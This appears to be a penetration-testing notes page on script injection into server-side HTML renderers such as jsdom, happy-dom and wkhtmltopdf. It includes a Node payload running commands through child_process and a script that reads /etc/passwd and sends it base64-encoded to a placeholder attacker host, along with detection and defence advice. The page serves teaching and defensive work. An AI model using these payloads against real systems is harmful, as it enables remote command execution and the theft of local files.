the_open_door
coffee
ESEN
← Back to index

HTML / Script Injection

A <script> injection in a server-side HTML renderer (jsdom, happy-dom, PhantomJS, wkhtmltopdf, headless Chrome) allows running code in the renderer's runtime. The difference from a classic XSS is the context: it does not attack a third party's browser, it attacks the server process that loads the HTML, so the impact ranges from stealing local files to command execution.

Route A: RCE when the renderer is Node

When the renderer is Node (for example happy-dom, or jsdom with runScripts:"dangerously"), the <script> tags have access to require:

<script>
  const cp = require('child_process');
  cp.execSync('id > /tmp/pwn');
</script>

If the binary that loads the HTML runs as root (for example sudo /usr/bin/web-scraper file.html), the execSync launches with privileges. It is not an escape or a renderer bug: it is the functionality exactly as declared.

Route B: file read and SSRF (non-Node renderer)

Even if the renderer does not expose require (a PDF engine like wkhtmltopdf/PhantomJS, or headless Chrome), the JavaScript can still read local files via file:// and exfiltrate them, or reach internal services (SSRF):

<script>
  x = new XMLHttpRequest();
  x.onload = () => fetch('http://<lhost>/?d=' + btoa(x.responseText));
  x.open('GET', 'file:///etc/passwd'); x.send();
</script>
<!-- or simply: <iframe src="file:///etc/passwd"> to embed it in the PDF -->

Requirements

A point where our HTML (or Markdown/name/field that ends up as HTML) is loaded by a server process that evaluates scripts. The reach depends on the engine: require gives RCE; PDF engines usually give file read and SSRF. If the process runs with privileges, route A escalates directly.

Nuance. Do not confuse it with XSS: here there is no browsing victim, the victim is the server. It is also not the same as a template injection server to server. The vector is specifically an attacker-controlled HTML that a privileged process loads as trusted (PDF/image generation from user data, scrapers, capture headless).

How to detect it. The signature is process lineage: the renderer binary (node, wkhtmltopdf, chrome --headless, phantomjs) spawning sh/id/curl as a child (Sysmon for Linux / auditd over execve), something normal PDF generation does not do. On the network, outbound requests from the PDF server to an attacker IP (exfiltration) or to internal services (SSRF) right after processing a user input. The input HTML itself with a <script> calling require/XMLHttpRequest/file:// is the indicator if inspected.

Defence. Never load user HTML in a renderer with access to system APIs. If the use is legitimate, disable script execution (runScripts without dangerously in jsdom, disableJavaScriptEvaluation in happy-dom, --disable-javascript in the PDF engine), block the file:// scheme, and run the renderer under an unprivileged user with seccomp/AppArmor.

Machines where it's used